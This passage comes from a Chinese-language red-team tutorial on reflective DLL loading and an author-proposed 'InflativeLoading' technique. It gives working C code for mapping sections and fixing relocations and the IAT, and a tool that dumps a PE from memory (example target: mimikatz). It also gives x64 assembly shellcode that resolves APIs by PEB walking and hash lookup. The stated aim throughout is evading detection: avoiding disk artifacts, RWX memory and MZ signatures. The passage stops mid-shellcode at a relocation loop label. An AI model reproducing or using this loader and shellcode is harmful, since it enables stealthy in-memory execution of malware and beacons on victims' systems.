48 89 F9 				mov rcx, rdi
FF D0 					call rax

```

我们来查看一下硬编码的偏移 **0x15ff4**，对应的 RVA 是 **0x16bf4**，确实正好是导出函数 **ReflectiveLoader** 的地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/O45rPTYFmAIRxfdW-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/O45rPTYFmAIRxfdW-image.png)

简单来说，通过补丁 DOS 头，使其成为具有实际意义的 Shellcode 头，实现当 Shellcode 被加载后，执行流程跳转到 ReflectiveLoader 导出函数，最后再执行 DllMain 函数。这样，可以将 DLL 转换为位置独立的 Shellcode。

### **反射式加载**

那么，ReflectiveLoader 函数充当了什么作用？为什么在 DLL 被加载之前，这个导出函数就可以被执行了呢？在回答这些问题之前，我们需要知道 Windows DLL 加载器负责将存在于磁盘中的 DLL 加载到进程的虚拟内存空间。如果用于攻防模拟，Windows DLL 加载器存在着这些缺点：

1. DLL 必须存在于磁盘
2. DLL 不可被混淆
3. DLL 的加载会触发内核回调

所以，直接用 Windows DLL 加载器加载 DLL Beacon 不是最理想的，但如果我们能从内存中加载 Beacon DLL 呢？这么一个概念被称为反射式加载，被 Stephen Fewer 提出并实现([https://github.com/stephenfewer/ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection))。反射式加载可以带来以下优势：

1. DLL 不必存在于磁盘，避免文件特征
2. 避免映像文件加载触发的内核回调
3. 我们的DLL 不会被 PEB 罗列

反射式加载即直接从内存中加载 DLL，与传统的 Windows DLL 加载都是将原始文件转换为在进程的虚拟内存中的格式。我们之前得知，当 PE 文件存在于磁盘和内存中时，因为对齐系数的不同，**尺寸**、**原始文件偏移与RVA的映射关系**会略有变化，一般来说在内存中会显得更加膨胀，在磁盘中时更加紧凑。

我们知道，PE 文件有着**偏好加载地址**，尽管实际被加载时，基址不一定与偏好加载地址相同。在 PE 文件中，有一些全局变量的地址是硬编码的(这些数据的地址由**重定向表**追踪)，那么自然也会随着实际加载地址的变化而变化。此外，IAT 表中的条目也会被更新，等等。平时，是由 Windows DLL 加载器帮我们完成了这些，但如果要实现反射式加载，这些任务就落在了我们头上。那么，实现反射式加载有这些步骤：

1. 通过诸如 CreateRemoteThread 直接执行导出函数 ReflectiveLoader，或者像 CobaltStrike 一样补丁 DLL 的 DOS 头使其成为 Shellcode 头，跳转到 ReflectiveLoader。
2. ReflectiveLoader 函数计算出 DLL 的基址，通过不断前移，直到遇到 **MZ**，即 **Magic Bytes**。
3. 通过 **PEB walking** 的方法得到 Kernel32 模块以及一些必要的 API 例如 **LoadLibrary**，**GetProcAddress，VirtualAlloc** 的地址。因为 ReflectiveLoader 函数在 DLL 被加载前就被调用了，所以需要位置独立，即不能使用**全局变量**以及**直接调用 API**。
4. 使用 VirtualAlloc 分配内存空间，用于盛放映射后的 DLL
5. 将 DLL 的各个头以及节复制到分配的内存空间，以及为不同区域设置对应的内存权限
6. 修复 IAT 表。遍历每个导入的 DLL，对于每个 DLL，遍历每个导入函数。根据函数的导入方式(函数序数或名称)，补丁导入函数的地址。
7. 修复重定向表。方法为计算出**实际基址与偏好地址的差值**，然后对于每个硬编码的地址都应用上这个差值。
8. 调用 DllMain 入口函数，DLL 被成功加载至内存中。
9. 如果是通过 Shellcode 头跳转的，那么 ReflectiveLoader 函数调用结束后会返回 Shellcode 头。如果是通过 CreateRemoteThread 调用的，那么线程会结束。

具体的代码实现，可以参考原始项目([https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c](https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c))

在 PE 小节，我们讲过了导入导出过程，关于重定向表的修复，我们以案例来学习一下：

calc 的偏好地址为 **0x140000000**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/6ifTxLVEuYOrMbRK-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/6ifTxLVEuYOrMbRK-image.png)

calc 有 2 个重定向块，分别有 12 和 2 个条目。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/XiJRfDVwmCoZKe7O-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/XiJRfDVwmCoZKe7O-image.png)

**Page RVA** 与 **Block Size** 分别占 4 个字节，总计 8 个。从第 9 个字节开始，每个条目占用 2 个字节。因此，每个重定向块的尺寸为 **8+2\*条目数量**，这里是 **32 = 8 + 12\*2**。

每个条目中的 WORD 值，我们可以提取出其与**页的偏移值**，加上**页的 RVA**，我们就可以得到**硬编码地址的 RVA**。我们选择一个硬编码的地址，该地址处于 0x2000 的 RVA 处，值为 0x140003060，相对于偏好地址的偏移值为 0x3060。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/sORQTxd8Z7uYPfYc-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/sORQTxd8Z7uYPfYc-image.png)

在 WinDBG 中，当 calc 存在于内存空间时，我们会发现该地址被修复了：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/6S33ZzecA8zz01ZX-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/6S33ZzecA8zz01ZX-image.png)

不过这个地址与映像基址的相对偏移依旧是 **0x3060**。

尽管提供了反射式加载原始项目的代码，但我们再以 Maldev 中的代码来回顾一下一些重难点步骤：

**复制各个节：**

```c
PBYTE			pPeBaseAddress			= NULL;

if ((pPeBaseAddress = VirtualAlloc(NULL, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL) {
	PRINT_WINAPI_ERR("VirtualAlloc");
	return FALSE;
}

for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
	memcpy(
		(PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress),			// Distination: pPeBaseAddress + RVA
		(PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData),		// Source: pPeHdrs->pFileBuffer + RVA
		pPeHdrs->pImgSecHdr[i].SizeOfRawData							// Size
	);
}
```

**修复重定向表：**

```c
BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress) {

    // Pointer to the beginning of the base relocation block.
    PIMAGE_BASE_RELOCATION pImgBaseRelocation = (pPeBaseAddress + pEntryBaseRelocDataDir->VirtualAddress);

    // The difference between the current PE image base address and its preferable base address.
    ULONG_PTR uDeltaOffset = pPeBaseAddress - pPreferableAddress;

    // Pointer to individual base relocation entries.
    PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;

    // Iterate through all the base relocation blocks.
    while (pImgBaseRelocation->VirtualAddress) {

        // Pointer to the first relocation entry in the current block.
        pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);

        // Iterate through all the relocation entries in the current block.
        while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
            // Process the relocation entry based on its type.
            switch (pBaseRelocEntry->Type) {
	            case IMAGE_REL_BASED_DIR64:
	                // Adjust a 64-bit field by the delta offset.
	                *((ULONG_PTR*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
	                break;
	            case IMAGE_REL_BASED_HIGHLOW:
	                // Adjust a 32-bit field by the delta offset.
	                *((DWORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
	                break;
	            case IMAGE_REL_BASED_HIGH:
	                // Adjust the high 16 bits of a 32-bit field.
	                *((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
	                break;
	            case IMAGE_REL_BASED_LOW:
	                // Adjust the low 16 bits of a 32-bit field.
	                *((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
	                break;
	            case IMAGE_REL_BASED_ABSOLUTE:
	                // No relocation is required.
	                break;
	            default:
	                // Handle unknown relocation types.
	                printf("[!] Unknown relocation type: %d | Offset: 0x%08X \n", pBaseRelocEntry->Type, pBaseRelocEntry->Offset);
	                return FALSE;
            }
            // Move to the next relocation entry.
            pBaseRelocEntry++;
        }

        // Move to the next relocation block.
        pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
    }

    return TRUE;
}
```

**修复 IAT 表：**

```c
BOOL FixImportAddressTable(IN PIMAGE_DATA_DIRECTORY pEntryImportDataDir, IN PBYTE pPeBaseAddress) {

	// Pointer to an import descriptor for a DLL
	PIMAGE_IMPORT_DESCRIPTOR	pImgDescriptor		= NULL;
 	// Iterate over the import descriptors
	for (SIZE_T i = 0; i < pEntryImportDataDir->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
		// Get the current import descriptor
		pImgDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pPeBaseAddress + pEntryImportDataDir->VirtualAddress + i);
		// If both thunks are NULL, we've reached the end of the import descriptors list
		if (pImgDescriptor->OriginalFirstThunk == NULL && pImgDescriptor->FirstThunk == NULL)
			break;

		// Retrieve information from the current import descriptor
		LPSTR		cDllName                        = (LPSTR)(pPeBaseAddress + pImgDescriptor->Name);
		ULONG_PTR	uOriginalFirstThunkRVA          = pImgDescriptor->OriginalFirstThunk;
		ULONG_PTR	uFirstThunkRVA                  = pImgDescriptor->FirstThunk;
		SIZE_T		ImgThunkSize                    = 0x00;	// Used to move to the next function (iterating through the IAT and INT)
		HMODULE		hModule                         = NULL;

		// Try to load the DLL referenced by the current import descriptor
		if (!(hModule = LoadLibraryA(cDllName))) {
			PRINT_WINAPI_ERR("LoadLibraryA");
			return FALSE;
		}

		// Iterate over the imported functions for the current DLL
		while (TRUE) {
			
			// Get pointers to the first thunk and original first thunk data
			PIMAGE_THUNK_DATA               pOriginalFirstThunk     = (PIMAGE_THUNK_DATA)(pPeBaseAddress + uOriginalFirstThunkRVA + ImgThunkSize);
			PIMAGE_THUNK_DATA               pFirstThunk             = (PIMAGE_THUNK_DATA)(pPeBaseAddress + uFirstThunkRVA + ImgThunkSize);
			PIMAGE_IMPORT_BY_NAME           pImgImportByName        = NULL;
			ULONG_PTR                       pFuncAddress            = NULL;

			// At this point both 'pOriginalFirstThunk' & 'pFirstThunk' will have the same values
			// However, to populate the IAT (pFirstThunk), one should use the INT (pOriginalFirstThunk) to retrieve the 
			// functions addresses and patch the IAT (pFirstThunk->u1.Function) with the retrieved address.
			if (pOriginalFirstThunk->u1.Function == NULL && pFirstThunk->u1.Function == NULL) {
				break;
			}

			// If the ordinal flag is set, import the function by its ordinal number
			if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) {
				if ( !(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, IMAGE_ORDINAL(pOriginalFirstThunk->u1.Ordinal))) ) {
					printf("[!] Could Not Import !%s#%d \n", cDllName, (int)pOriginalFirstThunk->u1.Ordinal);
					return FALSE;
				}
			}
			// Import function by name
			else {
				pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pPeBaseAddress + pOriginalFirstThunk->u1.AddressOfData);
				if ( !(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name)) ) {
					printf("[!] Could Not Import !%s.%s \n", cDllName, pImgImportByName->Name);
					return FALSE;
				}
			}

			// Install the function address in the IAT
			pFirstThunk->u1.Function = (ULONGLONG)pFuncAddress;

			// Move to the next function in the IAT/INT array
			ImgThunkSize += sizeof(IMAGE_THUNK_DATA);
		}
	}

	return TRUE;
}
```

实际上，对于更加复杂的 PE 文件，我们可能还要处理异常表、TLS 回调表、函数参数等，请大家查询相关资料进行探索。

### **膨胀式加载**

反射式加载实现了从内存中加载 DLL，有效地避免了一些 IOC。尽管如此，随着检测技术的升级，反射式加载其实也会留下一些显著的 IOC，我们来分析一下：

1. 分配空间、修改值、复制节、更改权限等这一系列操作很嘈杂
2. 分配 RWX 权限的内存空间是一个红线
3. 从调用栈的角度来看，因为加载的 DLL 并非来源于磁盘，因此没有对应的符号，如下图所示，多个函数都没有**对应的模块**以及**符号**。该内存区域还是**私有**的，意味着很有可能是 Shellcode。这样的内存区域被称为**漂浮代码**，或者**没有支持的内存区域**(unbacked memory)。对这块内存区域进行调查，发现以 **MZ** 开头，那么就可以轻松地确认反射式加载地存在。

```
0:004> k
 # Child-SP          RetAddr               Call Site
00 0000009e`4b3afe58 00000245`d207208d     KERNEL32!SleepEx
01 0000009e`4b3afe60 00000245`d2073260     0x00000245`d207208d
02 0000009e`4b3afe68 00000245`d1cf5580     0x00000245`d2073260
03 0000009e`4b3afe70 00000245`cfdb5d10     0x00000245`d1cf5580
04 0000009e`4b3afe78 0000009e`4b3afe08     0x00000245`cfdb5d10
05 0000009e`4b3afe80 00000245`d2071000     0x0000009e`4b3afe08
06 0000009e`4b3afe88 00000245`d20722c0     0x00000245`d2071000
07 0000009e`4b3afe90 00000245`d2071000     0x00000245`d20722c0
08 0000009e`4b3afe98 00007ffb`c87f0000     0x00000245`d2071000
09 0000009e`4b3afea0 00000000`00000000     ucrtbase!parse_bcp47 <PERF> (ucrtbase+0x0)
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/ygMtfjNLy9xenF0h-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/ygMtfjNLy9xenF0h-image.png)

关于第 3 点，延伸阅读可以参考该文章([https://www.elastic.co/security-labs/hunting-memory](https://www.elastic.co/security-labs/hunting-memory))。上图的案例，我是反射式加载了调用 **SleepEx** 的 PE 文件，用于方便观察调用栈。

除了 IOC，反射式加载也有一些不太便利的地方，例如需要将 Stephen Fewer 的反射式加载项目加入到我们的 DLL 项目中，对于不**太方便获取源代码与编译**的 DLL 有些捉襟见肘。此外，DLL 有着 ReflectiveLoader 的导出函数，如果没有对其进行稍加修改，那么也是一个 IOC。

因此，我提出了膨胀式加载(InflativeLoading)，旨在对反射式加载进行一定的优化，诚然，尽管没有解决反射式加载的所有的问题，例如第 3 点 IOC(可以解决部分)。要彻底解决第 3 点，我们需要配合其他技术，例如 **Module Stomping**([https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection)) 技术。

膨胀式加载的思路是在 PE 文件前加入一个 **0x1000字节**(一张内存页的尺寸)的 **Shellcode 头**(实际代码后面随便添加数据填充到 0x1000 字节)，使该 PE 文件成为**位置独立的 Shellcode**，有些类似于 CobaltStrike Shellcode 格式 Beacon 的实现，但是**不需要有特定导出函数**，因此对于不太方便获取源码与编译的 PE 文件有了更大的友好。

需要注意的是，这里所说的 PE 文件实际上不是原始 PE 文件，而是其在**内存中的转储**。为什么要这么做呢，之前说了，PE 文件在内存与磁盘中时，尺寸会有所不同，尤其是对于**加过壳的程序**。在反射式加载中，我们是直接一个节一个节复制到分配的内存空间中的，尽管大多数情况下这是没什么问题的，但在特定情况下，尺寸的差异可能会带来非预期的结果。此外，从内存中导出可以不用进行**原始文件偏移**与 **RVA** 的相互转换了，带来计算上的便利。并且，我们也不需要调用 VirtualAlloc 来分配新的内存空间了，因为转储文件就是该 PE 文件在内存中的形式，只是我们依旧需要修复一些数据，例如 IAT 表。

该 Shellcode 头会通过 PEB walking 来**获得所需模块以及函数的地址**，通过偏移**获得 PE 文件的起始地址**，**修复 IAT 表**，**修复重定向表**，**修复延迟导入表**等。因为修复 IAT 表等操作需要对数据进行更新，因此 PE 文件的一些节需要 RW 权限，而 .text 节需要 RX 权限。我们一开始可以先给整个 Shellcode 分配 RW 权限，然后变更 **Shellcode 头**与 **.text 节**区域的权限为 RX，这样可以保证整个 Shellcode 执行无问题。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/5CtMs7zPwcW7lCMs-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/5CtMs7zPwcW7lCMs-image.png)

至于 unbacked memory 的问题，尽管在没有 module stomping 技术的结合下，尚未彻底解决，但是我们避免了 RWX 权限的内存区域，并且 RX 权限的区域并不以 MZ 这个 Magic Bytes 开头，一定程度上加大了调查的难度。

简单总结一下，膨胀式加载相比反射式加载有如下优势：

1. 不需要特定导出函数，对不方便获取源码与编译的 PE 文件更友好
2. 避免因为 PE 文件在磁盘和内存中的差异导致非预期结果
3. 无需进行原始文件偏移与 RVA 的转换
4. 避免了额外的内存空间分配
5. 避免了 RWX 内存区域
6. 即便是 RX 内存区域，也不以 MZ 特征开头，加大了调查难度

那么，怎么用代码实现呢？首先，我们需要得到 PE 文件在内存中的转储，这个很容易实现：

```c
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>


#pragma comment(lib, "ntdll.lib")
#pragma warning(disable:4996)

EXTERN_C NTSTATUS NTAPI NtQueryInformationProcess(
	HANDLE ProcessHandle,
	PROCESSINFOCLASS ProcessInformationClass,
	PVOID ProcessInformation,
	ULONG ProcessInformationLength,
	PULONG ReturnLength
);


BOOL ReadPEFile(LPCSTR lpFileName, PBYTE* pPe, SIZE_T* sPe) {

	HANDLE	hFile = INVALID_HANDLE_VALUE;
	PBYTE	pBuff = NULL;
	DWORD	dwFileSize = NULL,
		dwNumberOfBytesRead = NULL;

	hFile = CreateFileA(lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	dwFileSize = GetFileSize(hFile, NULL);
	if (dwFileSize == NULL) {
		printf("[!] GetFileSize Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	pBuff = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
	if (pBuff == NULL) {
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	if (!ReadFile(hFile, pBuff, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
		printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
		printf("[!] Bytes Read : %d of : %d \n", dwNumberOfBytesRead, dwFileSize);
		goto _EndOfFunction;
	}

	printf("[+] DONE \n");


_EndOfFunction:
	*pPe = (PBYTE)pBuff;
	*sPe = (SIZE_T)dwFileSize;
	if (hFile)
		CloseHandle(hFile);
	if (*pPe == NULL || *sPe == NULL)
		return FALSE;
	return TRUE;
}



DWORD ParsePE(PBYTE pPE)
{
	DWORD size = 0;
	PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pPE;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
		return -1;
	}

	PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pPE + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
		return -1;
	}

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	if (ImgOptHdr.Magic != IMAGE_NT_OPTIONAL_HDR_MAGIC) {
		return -1;
	}

	printf("[+] Size Of The Image : 0x%x \n", ImgOptHdr.SizeOfImage);
	size = ImgOptHdr.SizeOfImage;
	return size;
}





int main(int argc, char* argv[])
{
	PBYTE	pPE = NULL;
	SIZE_T	sPE = NULL;
	if (argc < 3)
	{
		printf("Usage: DumpPEFromMemoryMemory.exe <Native EXE> <Dump File>\nE.g. ReadPEInMemory.exe mimikatz.exe mimikatz.bin\n");
		return -1;
	}
	LPCSTR filename = argv[1];
	char* outputbin = argv[2];

	if (!ReadPEFile(filename, &pPE, &sPE)) {
		return -1;
	}

	DWORD size_of_image = ParsePE(pPE);
	HeapFree(GetProcessHeap(), NULL, pPE);

	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));

	if (!CreateProcessA(filename, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
		printf("CreateProcess failed (%d).\n", GetLastError());
		return 1;
	}
	printf("Process PID: %lu\n", pi.dwProcessId);
	PROCESS_BASIC_INFORMATION pbi;
	NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);

	if (status == 0) {
		printf("PEB Address:%p\n", pbi.PebBaseAddress);
		PVOID imageBaseAddress;
		SIZE_T bytesRead;

		ReadProcessMemory(pi.hProcess, (PCHAR)pbi.PebBaseAddress + sizeof(PVOID) * 2, &imageBaseAddress, sizeof(PVOID), &bytesRead);
		printf("Image Base Address:%p\n", imageBaseAddress);

		SIZE_T totalSize = size_of_image;	//Total size of PE image in memory
		const SIZE_T CHUNK_SIZE = 0xb000; // Chunk size for reading and writing
		BYTE buffer[0xb000];	//Number of bytes read each time


		SIZE_T totalBytesRead = 0;

		// Calculate the number of iterations needed
		int numIterations = (totalSize / CHUNK_SIZE) + (totalSize % CHUNK_SIZE ? 1 : 0);

		FILE* file = fopen(outputbin, "ab"); // Open file in append mode
		if (file == NULL) {
			printf("Failed to open %s for writing\n", outputbin);
			exit(1);
		}

		for (int iteration = 0; iteration < numIterations; iteration++) {
			BYTE buffer[CHUNK_SIZE];
			SIZE_T offset = iteration * CHUNK_SIZE;
			SIZE_T sizeToRead = min(CHUNK_SIZE, totalSize - offset);

			if (!ReadProcessMemory(pi.hProcess, (PBYTE)imageBaseAddress + offset, &buffer, sizeToRead, &bytesRead)) {
				printf("Error reading memory: %d\n", GetLastError());
				break;
			}

			fwrite(buffer, 1, bytesRead, file); 
			totalBytesRead += bytesRead;
		}

		fclose(file);
		printf("Data successfully written to %s. Total bytes read: 0x%x\n", outputbin, totalBytesRead);
	}
	else {
		printf("Error");
	}

	if (!TerminateProcess(pi.hProcess, 0)) {
		printf("TerminateProcess failed (%d).\n", GetLastError());
		return 1;
	}

	return 0;
}
```

注意，我们在自己的开发机上运行编译后的该程序，而非目标主机。该代码通过创建新进程来运行指定的程序，不过是**挂起**状态，为了避免运行的程序对我们的开发机造成紊乱。然后分次通过 ReadProcessMemory 读取**主模块**的整个内存空间，并写入本地文件，直到读取与保存完毕。

至于 Shellcode Stub，虽然我们可以用 C 编写 PIC 代码然后提取出 Shellcode，不过我们还是直接写汇编代码来加强理解。

**1：获得模块与函数的地址**

我们复用一下之前的 Shellcode：

```python
"start:"
" and rsp, 0xFFFFFFFFFFFFFFF0;"		# Stack alignment
" xor rdx, rdx;"
" mov rax, gs:[rdx+0x60];"		# RAX = PEB Address

"find_kernel32:"
" mov rsi,[rax+0x18];"			# RSI = Address of _PEB_LDR_DATA
" mov rsi,[rsi + 0x30];"		# RSI = Address of the InInitializationOrderModuleList
" mov r9, [rsi];"			
" mov r9, [r9];"			
" mov r9, [r9+0x10];"			# kernel32.dll
" jmp function_stub;"			# Jump to func call stub


"parse_module:"				# Parsing DLL file in memory
" mov ecx, dword ptr [r9 + 0x3c];"	# R9 = Base address of the module, ECX = NT header offset
" xor r15, r15;"
" mov r15b, 0x88;"			# Offset to Export Directory   
" add r15, r9;"				
" add r15, rcx;"			# R15 points to Export Directory
" mov r15d, dword ptr [r15];"		# R15 = RVA of export directory
" add r15, r9;"				# R15 = VA of export directory
" mov ecx, dword ptr [r15 + 0x18];"	# ECX = # of function names as an index value
" mov r14d, dword ptr [r15 + 0x20];"	# R14 = RVA of ENPT
" add r14, r9;"				# R14 = VA of ENPT


"search_function:"			# Search for a given function
" jrcxz not_found;"			# If RCX = 0, the given function is not found
" dec ecx;"				# Decrease index by 1
" xor rsi, rsi;"
" mov esi, [r14 + rcx*4];"		# RVA of function name
" add rsi, r9;"				# RSI points to function name string


"function_hashing:"			# Hash function name function
" xor rax, rax;"
" xor rdx, rdx;"
" cld;"					# Clear DF flag


"iteration:"				# Iterate over each byte
" lodsb;"				# Copy the next byte of RSI to Al
" test al, al;"				# If reaching the end of the string
" jz compare_hash;"			# Compare hash
" ror edx, 0x0d;"			# Part of hash algorithm
" add edx, eax;"			# Part of hash algorithm
" jmp iteration;"			# Next byte


"compare_hash:"				# Compare hash
" cmp edx, r8d;"			# R8 = Supplied function hash
" jnz search_function;"			# If not equal, search the previous function (index decreases)
" mov r10d, [r15 + 0x24];"		# Ordinal table RVA
" add r10, r9;"				# R10 = Ordinal table VMA
" movzx ecx, word ptr [r10 + 2*rcx];"	# Ordinal value -1
" mov r11d, [r15 + 0x1c];"		# RVA of EAT
" add r11, r9;"				# r11 = VA of EAT
" mov eax, [r11 + 4*rcx];"		# RAX = RVA of the function
" add rax, r9;"				# RAX = VA of the function
" ret;"
"not_found:"
" xor rax, rax;"			# Return zero
" ret;"


"function_stub:"			
" mov rbp, r9;"				# RBP stores base address of Kernel32.dll
" mov r8d, 0xec0e4e8e;"			# LoadLibraryA Hash
" call parse_module;"			# Search LoadLibraryA's address
" mov r12, rax;"			# R12 stores the address of LoadLibraryA function
" mov r8d, 0x7c0dfcaa;"			# GetProcAddress Hash
" call parse_module;"			# Search GetProcAddress's address
" mov r13, rax;"			# R13 stores the address of GetProcAddress function
```

**2：获得 PE 文件的起始地址并为修复 IAT 表做准备**

这里，我们没有硬编码偏移值，而是可以动态地计算出来。

```python
" jmp fix_import_dir;"			# Jump to fix_import_dir section


"find_nt_header:"			# Quickly return NT header in RAX
" xor rax, rax;"
" mov eax, [rbx+0x3c];"   		# EAX contains e_lfanew
" add rax, rbx;"          		# RAX points to NT Header
" ret;"					


"fix_import_dir:"  			# Init necessary variable for fixing IAT
" xor rsi, rsi;"
" xor rdi, rdi;"
f"lea rbx, [rip+{CODE_OFFSET}];"	# Jump to the dump file
" call find_nt_header;"
" mov esi, [rax+0x90];"  		# ESI = ImportDir RVA
" add rsi, rbx;"         		# RSI points to ImportDir
" mov edi, [rax+0x94];"   		# EDI = ImportDir Size
" add rdi, rsi;"          		# RDI = ImportDir VA + Size
```

**3：修复 IAT 表**

这里有 2 层循环，外层循环是**导入模块**，内层循环是**模块中的导入函数**。

```python
"loop_module:"
" cmp rsi, rdi;"          		# Compare current descriptor with the end of import directory
" je loop_end;"		    		# If equal, exit the loop
" xor rdx ,rdx;"
" mov edx, [rsi+0x10];"        		# EDX = IAT RVA (32-bit)
" test rdx, rdx;"         		# Check if ILT RVA is zero (end of descriptors)
" je loop_end;"		    		# If zero, exit the loop
" xor rcx, rcx;"
" mov ecx, [rsi+0xc];"    		# RCX = Module Name RVA
" add rcx, rbx;"          		# RCX points to Module Name
" call r12;"              		# Call LoadLibraryA
" xor rdx ,rdx;"			
" mov edx, [rsi+0x10];"        		# Restore IAT RVA
" add rdx, rbx;"          		# RDX points to IAT
" mov rcx, rax;"          		# Module handle for GetProcAddress
" mov r14, rdx;"			# Backup IAT Address


"loop_func:"
" mov rdx, r14;"			# Restore IAT address + processed entries
" mov rdx, [rdx];"        		# RDX = Ordinal or RVA of HintName Table
" test rdx, rdx;"         		# Check if it's the end of the IAT
" je next_module;"	    		# If zero, move to the next descriptor
" mov r9, 0x8000000000000000;"
" test rdx, r9;"  			# Check if it is import by ordinal (highest bit set)
" mov rbp, rcx;"			# Save module base address
" jnz resolve_by_ordinal;"		# If set, resolve by ordinal


"resolve_by_name:"
" add rdx, rbx;"          		# RDX = HintName Table VA
" add rdx, 2;"		  		# RDX points to Function Name
" call r13;"              		# Call GetProcAddress
" jmp update_iat;"        		# Go to update IAT


"resolve_by_ordinal:"
" mov r9, 0x7fffffffffffffff;"
" and rdx, r9;"			   	# RDX = Ordinal number
" call r13;"              		# Call GetProcAddress with ordinal


"update_iat:"
" mov rcx, rbp;"          		# Restore module base address
" mov rdx, r14;"				# Restore IAT Address + processed entries
" mov [rdx], rax;"         		# Write the resolved address to the IAT
" add r14, 0x8;"		  	# Movce to the next ILT entry
" jmp loop_func;"			# Repeat for the next function


"next_module:"
" add rsi, 0x14;"         		# Move to next import descriptor
" jmp loop_module;"  			# Continue loop


"loop_end:"
```

**4：修复重定向表**

小节前面已经教了大家修复重定向表的原理了。需要注意的是，有的重定向块的最后一个条目是空的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/abzCrWUKGZqFw2Zq-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/abzCrWUKGZqFw2Zq-image.png)

```python
"fix_basereloc_dir:"			# Save RBX //dq rbx+21b0 l46
" xor rsi, rsi;"
" xor rdi, rdi;"
" xor r8, r8;"				# Empty R8 to save page RVA
" xor r9, r9;"				# Empty R9 to place block size
" xor r15, r15;"
" call find_nt_header;"
" mov esi, [rax+0xb0];"  		# ESI = BaseReloc RVA
" add rsi, rbx;"         		# RSI points to BaseReloc
" mov edi, [rax+0xb4];"   		# EDI = BaseReloc Size
" add rdi, rsi;"          		# RDI = BaseReloc VA + Size
" mov r15d, [rax+0x28];"		# R15 = Entry point RVA
" add r15, rbx;"			# R15 = Entry point
" mov r14, [rax+0x30];"			# R14 = Preferred address
" sub r14, rbx;"			# R14 = Delta address 
" mov [rax+0x30], rbx;"			# Update Image Base Address
" mov r8d, [rsi];"			# R8 = First block page RVA
" add r8, rbx;"				# R8 points to first block page (Should add an offset later)
" mov r9d, [rsi+4];"			# First block's size
" xor rax, rax;"
" xor rcx, rcx;"


"loop_block:"
